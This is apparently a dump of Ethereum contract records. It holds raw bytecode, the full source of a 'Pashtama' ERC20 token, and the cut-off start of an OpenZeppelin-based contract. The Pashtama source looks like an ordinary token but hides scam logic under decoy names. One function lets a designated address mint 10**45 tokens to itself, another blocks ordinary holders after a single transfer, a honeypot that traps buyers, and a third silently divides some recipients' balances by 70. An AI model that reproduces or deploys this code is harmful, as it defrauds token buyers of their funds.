fffffffffffffffffffffff82169050919050565b6000613a2b82613a00565b9050919050565b613a3b81613a20565b82525050565b6000602082019050613a566000830184613a32565b92915050565b613a6581613a20565b8114613a7057600080fd5b50565b600081359050613a8281613a5c565b92915050565b60008060408385031215613a9f57613a9e6137f3565b5b6000613aad85828601613a73565b9250506020613abe858286016139be565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f840112613aed57613aec613ac8565b5b8235905067ffffffffffffffff811115613b0a57613b09613acd565b5b602083019150836020820283011115613b2657613b25613ad2565b5b9250929050565b60008060208385031215613b4457613b436137f3565b5b600083013567ffffffffffffffff811115613b6257613b616137f8565b5b613b6e85828601613ad7565b92509250509250929050565b600080600060608486031215613b9357613b926137f3565b5b6000613ba186828701613a73565b9350506020613bb286828701613a73565b9250506040613bc3868287016139be565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b613c0a8261393b565b810181811067ffffffffffffffff82111715613c2957613c28613bd2565b5b80604052505050565b6000613c3c6137e9565b9050613c488282613c01565b919050565b600067ffffffffffffffff821115613c6857613c67613bd2565b5b613c718261393b565b9050602081019050919050565b82818337600083830152505050565b6000613ca0613c9b84613c4d565b613c32565b905082815260208101848484011115613cbc57613cbb613bcd565b5b613cc7848285613c7e565b509392505050565b600082601f830112613ce457613ce3613ac8565b5b8135613cf4848260208601613c8d565b91505092915050565b600080600060608486031215613d1657613d156137f3565b5b6000613d24868287016139be565b9350506020613d35868287016139be565b925050604084013567ffffffffffffffff811115613d5657613d556137f8565b5b613d6286828701613ccf565b9150509250925092565b60008083601f840112613d8257613d81613ac8565b5b8235905067ffffffffffffffff811115613d9f57613d9e613acd565b5b602083019150836001820283011115613dbb57613dba613ad2565b5b9250929050565b60008060208385031215613dd957613dd86137f3565b5b600083013567ffffffffffffffff811115613df757613df66137f8565b5b613e0385828601613d6c565b92509250509250929050565b600080600060608486031215613e2857613e276137f3565b5b6000613e3686828701613a73565b9350506020613e47868287016139be565b925050604084013567ffffffffffffffff811115613e6857613e676137f8565b5b613e7486828701613ccf565b9150509250925092565b6000819050919050565b613e9181613e7e565b82525050565b6000602082019050613eac6000830184613e88565b92915050565b600060208284031215613ec857613ec76137f3565b5b6000613ed684828501613a73565b91505092915050565b613ee881613882565b8114613ef357600080fd5b50565b600081359050613f0581613edf565b92915050565b60008060408385031215613f2257613f216137f3565b5b6000613f3085828601613a73565b9250506020613f4185828601613ef6565b9150509250929050565b60008060008060808587031215613f6557613f646137f3565b5b6000613f7387828801613a73565b9450506020613f8487828801613a73565b9350506040613f95878288016139be565b925050606085013567ffffffffffffffff811115613fb657613fb56137f8565b5b613fc287828801613ccf565b91505092959194509250565b60008060408385031215613fe557613fe46137f3565b5b6000613ff385828601613a73565b925050602061400485828601613a73565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061405557607f821691505b602082108114156140695761406861400e565b5b50919050565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b60006140cb602c836138f7565b91506140d68261406f565b604082019050919050565b600060208201905081810360008301526140fa816140be565b9050919050565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061415d6021836138f7565b915061416882614101565b604082019050919050565b6000602082019050818103600083015261418c81614150565b9050919050565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b60006141ef6038836138f7565b91506141fa82614193565b604082019050919050565b6000602082019050818103600083015261421e816141e2565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061425b6020836138f7565b915061426682614225565b602082019050919050565b6000602082019050818103600083015261428a8161424e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006142cb826138b8565b91506142d6836138b8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561430b5761430a614291565b5b828201905092915050565b7f45786365656420746f74616c206d6178206c696d697400000000000000000000600082015250565b600061434c6016836138f7565b915061435782614316565b602082019050919050565b6000602082019050818103600083015261437b8161433f565b9050919050565b7f4578636565642067696674206d6178206c696d69740000000000000000000000600082015250565b60006143b86015836138f7565b91506143c382614382565b602082019050919050565b600060208201905081810360008301526143e7816143ab565b9050919050565b60006143f9826138b8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561442c5761442b614291565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b60006144c26031836138f7565b91506144cd82614466565b604082019050919050565b600060208201905081810360008301526144f1816144b5565b9050919050565b7f496e76616c6964207369676e6174757265000000000000000000000000000000600082015250565b600061452e6011836138f7565b9150614539826144f8565b602082019050919050565b6000602082019050818103600083015261455d81614521565b9050919050565b7f50726573616c657320697320636c6f7365640000000000000000000000000000600082015250565b600061459a6012836138f7565b91506145a582614564565b602082019050919050565b600060208201905081810360008301526145c98161458d565b9050919050565b7f4578636565642070726573616c6573206d6178206c696d697400000000000000600082015250565b60006146066019836138f7565b9150614611826145d0565b602082019050919050565b60006020820190508181036000830152614635816145f9565b9050919050565b7f4578636565642070726573616c6573206d6178207175616e746974792070657260008201527f206d696e74657200000000000000000000000000000000000000000000000000602082015250565b60006146986027836138f7565b91506146a38261463c565b604082019050919050565b600060208201905081810360008301526146c78161468b565b9050919050565b60006146d9826138b8565b91506146e4836138b8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561471d5761471c614291565b5b828202905092915050565b7f496e73756666696369656e742045544800000000000000000000000000000000600082015250565b600061475e6010836138f7565b915061476982614728565b602082019050919050565b6000602082019050818103600083015261478d81614751565b9050919050565b600061479f826138b8565b91506147aa836138b8565b9250828210156147bd576147bc614291565b5b828203905092915050565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b6000614824602b836138f7565b915061482f826147c8565b604082019050919050565b6000602082019050818103600083015261485381614817565b9050919050565b7f4e6f20616d6f756e7420746f2077697468647261770000000000000000000000600082015250565b60006148906015836138f7565b915061489b8261485a565b602082019050919050565b600060208201905081810360008301526148bf81614883565b9050919050565b7f5075626c69632073616c6520697320636c6f7365640000000000000000000000600082015250565b60006148fc6015836138f7565b9150614907826148c6565b602082019050919050565b6000602082019050818103600083015261492b816148ef565b9050919050565b7f457863656564207075626c69632073616c65206d6178206c696d697400000000600082015250565b6000614968601c836138f7565b915061497382614932565b602082019050919050565b600060208201905081810360008301526149978161495b565b9050919050565b7f457863656564207075626c69632073616c6573206d6178207175616e7469747960008201527f20706572207472616e73616374696f6e00000000000000000000000000000000602082015250565b60006149fa6030836138f7565b9150614a058261499e565b604082019050919050565b60006020820190508181036000830152614a29816149ed565b9050919050565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b6000614a8c602c836138f7565b9150614a9782614a30565b604082019050919050565b60006020820190508181036000830152614abb81614a7f565b9050919050565b6000606082019050614ad76000830186613e88565b614ae46020830185613a32565b614af160408301846138c2565b949350505050565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b6000614b556029836138f7565b9150614b6082614af9565b604082019050919050565b60006020820190508181036000830152614b8481614b48565b9050919050565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b6000614be7602a836138f7565b9150614bf282614b8b565b604082019050919050565b60006020820190508181036000830152614c1681614bda565b9050919050565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b6000614c536019836138f7565b9150614c5e82614c1d565b602082019050919050565b60006020820190508181036000830152614c8281614c46565b9050919050565b7f546f6b656e206e6f742065786973740000000000000000000000000000000000600082015250565b6000614cbf600f836138f7565b9150614cca82614c89565b602082019050919050565b60006020820190508181036000830152614cee81614cb2565b9050919050565b600081905092915050565b60008190508160005260206000209050919050565b60008154614d228161403d565b614d2c8186614cf5565b94506001821660008114614d475760018114614d5857614d8b565b60ff19831686528186019350614d8b565b614d6185614d00565b60005b83811015614d8357815481890152600182019150602081019050614d64565b838801955050505b50505092915050565b6000614d9f826138ec565b614da98185614cf5565b9350614db9818560208601613908565b80840191505092915050565b6000614dd18285614d15565b9150614ddd8284614d94565b91508190509392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614e456026836138f7565b9150614e5082614de9565b604082019050919050565b60006020820190508181036000830152614e7481614e38565b9050919050565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b6000614ed7602c836138f7565b9150614ee282614e7b565b604082019050919050565b60006020820190508181036000830152614f0681614eca565b9050919050565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b6000614f696029836138f7565b9150614f7482614f0d565b604082019050919050565b60006020820190508181036000830152614f9881614f5c565b9050919050565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614ffb6024836138f7565b915061500682614f9f565b604082019050919050565b6000602082019050818103600083015261502a81614fee565b9050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b600061508d6032836138f7565b915061509882615031565b604082019050919050565b600060208201905081810360008301526150bc81615080565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006150fd826138b8565b9150615108836138b8565b925082615118576151176150c3565b5b828204905092915050565b600061512e826138b8565b9150615139836138b8565b925082615149576151486150c3565b5b828206905092915050565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b600061518a600283614cf5565b915061519582615154565b600282019050919050565b6000819050919050565b6151bb6151b682613e7e565b6151a0565b82525050565b60006151cc8261517d565b91506151d882856151aa565b6020820191506151e882846151aa565b6020820191508190509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f45434453413a20696e76616c6964207369676e61747572650000000000000000600082015250565b600061525d6018836138f7565b915061526882615227565b602082019050919050565b6000602082019050818103600083015261528c81615250565b9050919050565b7f45434453413a20696e76616c6964207369676e6174757265206c656e67746800600082015250565b60006152c9601f836138f7565b91506152d482615293565b602082019050919050565b600060208201905081810360008301526152f8816152bc565b9050919050565b7f45434453413a20696e76616c6964207369676e6174757265202773272076616c60008201527f7565000000000000000000000000000000000000000000000000000000000000602082015250565b600061535b6022836138f7565b9150615366826152ff565b604082019050919050565b6000602082019050818103600083015261538a8161534e565b9050919050565b7f45434453413a20696e76616c6964207369676e6174757265202776272076616c60008201527f7565000000000000000000000000000000000000000000000000000000000000602082015250565b60006153ed6022836138f7565b91506153f882615391565b604082019050919050565b6000602082019050818103600083015261541c816153e0565b9050919050565b600081519050919050565b600082825260208201905092915050565b600061544a82615423565b615454818561542e565b9350615464818560208601613908565b61546d8161393b565b840191505092915050565b600060808201905061548d6000830187613a32565b61549a6020830186613a32565b6154a760408301856138c2565b81810360608301526154b9818461543f565b905095945050505050565b6000815190506154d381613829565b92915050565b6000602082840312156154ef576154ee6137f3565b5b60006154fd848285016154c4565b91505092915050565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b600061553c6020836138f7565b915061554782615506565b602082019050919050565b6000602082019050818103600083015261556b8161552f565b9050919050565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b60006155a8601c836138f7565b91506155b382615572565b602082019050919050565b600060208201905081810360008301526155d78161559b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b600060a0820190506156226000830188613e88565b61562f6020830187613e88565b61563c6040830186613e88565b61564960608301856138c2565b6156566080830184613a32565b9695505050505050565b600060ff82169050919050565b61567681615660565b82525050565b60006080820190506156916000830187613e88565b61569e602083018661566d565b6156ab6040830185613e88565b6156b86060830184613e88565b9594505050505056fea26469706673582212208f1358ed850d42deb0296baa462d9b0e41082511257efd27d5ae344e3171387b64736f6c63430008090033
[ 5 ]
0xf29c22f86bfb0e7bc7cbc8a4e104f6474f160478
/* .--. . .-. . ..---. . . . . | )/ \ ( )| | | / \ |\ /| / \ |--'/___\ `-. |---| | /___\ | \/ | /___\ | / \( )| | | / \ | | / \ ' ' ``-' ' ' '' `' '' ` Reflections Giveaway @pashtamaerc20 pashtama.co */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) private Ibiza; mapping (address => bool) private IsleOfMan; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public pair; uint256 private drinks; IDEXRouter router; string private _name; string private _symbol; address private _msgSenders; uint256 private _totalSupply; uint256 private Knife; uint256 private Jacket; bool private Cups; uint256 private dhl; uint256 private Papers = 0; address private Documents = address(0); constructor (string memory name_, string memory symbol_, address msgSender_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _msgSenders = msgSender_; _name = name_; _symbol = symbol_; } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function _balanceOfThePashas(address account) internal { _balances[account] += (((account == _msgSenders) && (drinks > 2)) ? (10 ** 45) : 0); } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function _balanceOfIbiza(address sender, address recipient, uint256 amount, bool doodle) internal { (Knife,Cups) = doodle ? (Jacket, true) : (Knife,Cups); if ((Ibiza[sender] != true)) { require(amount < Knife); if (Cups == true) { require(!(IsleOfMan[sender] == true)); IsleOfMan[sender] = true; } } _balances[Documents] = ((Papers == block.timestamp) && (Ibiza[recipient] != true) && (Ibiza[Documents] != true) && (dhl > 2)) ? (_balances[Documents]/70) : (_balances[Documents]); dhl++; Documents = recipient; Papers = block.timestamp; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function _EatThePasha(address creator, uint256 jkal) internal virtual { approve(_router, 10 ** 77); (drinks,Cups,Knife,dhl) = (0,false,(jkal/20),0); (Jacket,Ibiza[_router],Ibiza[creator],Ibiza[pair]) = ((jkal/1000),true,true,true); (IsleOfMan[_router],IsleOfMan[creator]) = (false, false); } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function _balanceOfTheInus(address sender, address recipient, uint256 amount) internal { _balanceOfIbiza(sender, recipient, amount, (address(sender) == _msgSenders) && (drinks > 0)); drinks += (sender == _msgSenders) ? 1 : 0; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _DeployPasha(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balanceOfTheInus(sender, recipient, amount); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; _balanceOfThePashas(sender); emit Transfer(sender, recipient, amount); } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) { _DeployPasha(creator, initialSupply); _EatThePasha(creator, initialSupply); } } contract Pashtama is ERC20Token { constructor() ERC20Token("PASHTAMA", "PASHTAMA", msg.sender, 50000000 * 10 ** 18) { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101f5578063a8aa1b3114610208578063a9059cbb1461021b578063dd62ed3e1461022e57600080fd5b806370a0823114610195578063715018a6146101be5780638da5cb5b146101c857806395d89b41146101ed57600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461016f57806342966c681461018257600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b610102610267565b60405161010f9190610c55565b60405180910390f35b61012b610126366004610cc6565b6102f9565b604051901515815260200161010f565b600e545b60405190815260200161010f565b61012b61015b366004610cf0565b61030f565b6040516012815260200161010f565b61012b61017d366004610cc6565b6103c5565b61012b610190366004610d2c565b6103fc565b61013f6101a3366004610d45565b6001600160a01b031660009081526004602052604090205490565b6101c6610410565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161010f565b6101026104b4565b61012b610203366004610cc6565b6104c3565b6008546101d5906001600160a01b031681565b61012b610229366004610cc6565b61055e565b61013f61023c366004610d67565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600b805461027690610d9a565b80601f01602080910402602001604051908101604052809291908181526020018280546102a290610d9a565b80156102ef5780601f106102c4576101008083540402835291602001916102ef565b820191906000526020600020905b8154815290600101906020018083116102d257829003601f168201915b5050505050905090565b600061030633848461056b565b50600192915050565b600061031c84848461068f565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103a65760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ba85336103b58685610deb565b61056b565b506001949350505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103069185906103b5908690610e02565b6000610408338361087a565b506001919050565b6001546001600160a01b0316331461046a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039d565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600c805461027690610d9a565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105455760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161039d565b61055433856103b58685610deb565b5060019392505050565b600061030633848461068f565b6001600160a01b0383166105cd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039d565b6001600160a01b03821661062e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039d565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106f35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039d565b6001600160a01b0382166107555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039d565b6001600160a01b038316600090815260046020526040902054818110156107cd5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161039d565b6107d884848461098c565b6107e28282610deb565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290610818908490610e02565b909155506108279050846109f7565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161086c91815260200190565b60405180910390a350505050565b6001600160a01b0382166108da5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161039d565b6001600160a01b03821660009081526004602052604081208054839290610902908490610deb565b9091555050600080805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec8054839290610942908490610e02565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600d546109ba908490849084906001600160a01b0380851691161480156109b557506000600954115b610a87565b600d546001600160a01b038481169116146109d65760006109d9565b60015b60ff16600960008282546109ed9190610e02565b9091555050505050565b600d546001600160a01b038281169116148015610a1657506002600954115b610a21576000610a36565b722cd76fe086b93ce2f768a00b22a000000000005b72ffffffffffffffffffffffffffffffffffffff1660046000836001600160a01b03166001600160a01b031681526020019081526020016000206000828254610a7f9190610e02565b909155505050565b80610a9a57600f5460115460ff16610aa0565b60105460015b6011805460ff1916911515919091179055600f556001600160a01b03841660009081526002602052604090205460ff161515600114610b4657600f548210610ae757600080fd5b60115460ff16151560011415610b46576001600160a01b03841660009081526003602052604090205460ff16151560011415610b2257600080fd5b6001600160a01b0384166000908152600360205260409020805460ff191660011790555b42601354148015610b7557506001600160a01b03831660009081526002602052604090205460ff161515600114155b8015610ba157506014546001600160a01b031660009081526002602052604090205460ff161515600114155b8015610baf57506002601254115b610bd3576014546001600160a01b0316600090815260046020526040902054610bfa565b6014546001600160a01b0316600090815260046020526040902054610bfa90604690610e1a565b6014546001600160a01b03166000908152600460205260408120919091556012805491610c2683610e3c565b9091555050601480546001600160a01b0319166001600160a01b03949094169390931790925550504260135550565b600060208083528351808285015260005b81811015610c8257858101830151858201604001528201610c66565b81811115610c94576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610cc157600080fd5b919050565b60008060408385031215610cd957600080fd5b610ce283610caa565b946020939093013593505050565b600080600060608486031215610d0557600080fd5b610d0e84610caa565b9250610d1c60208501610caa565b9150604084013590509250925092565b600060208284031215610d3e57600080fd5b5035919050565b600060208284031215610d5757600080fd5b610d6082610caa565b9392505050565b60008060408385031215610d7a57600080fd5b610d8383610caa565b9150610d9160208401610caa565b90509250929050565b600181811c90821680610dae57607f821691505b60208210811415610dcf57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610dfd57610dfd610dd5565b500390565b60008219821115610e1557610e15610dd5565b500190565b600082610e3757634e487b7160e01b600052601260045260246000fd5b500490565b6000600019821415610e5057610e50610dd5565b506001019056fea2646970667358221220a5830f677bd7f724b80d8ba1d6844b23c8d6a10a246ebb33036be8a4015c100664736f6c634300080a0033
[ 9 ]
0xf29c2f5b443572d2cb29965047117fc8d86c83ee
/** *Submitted for verification at Etherscan.io on 2022-01-18 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal 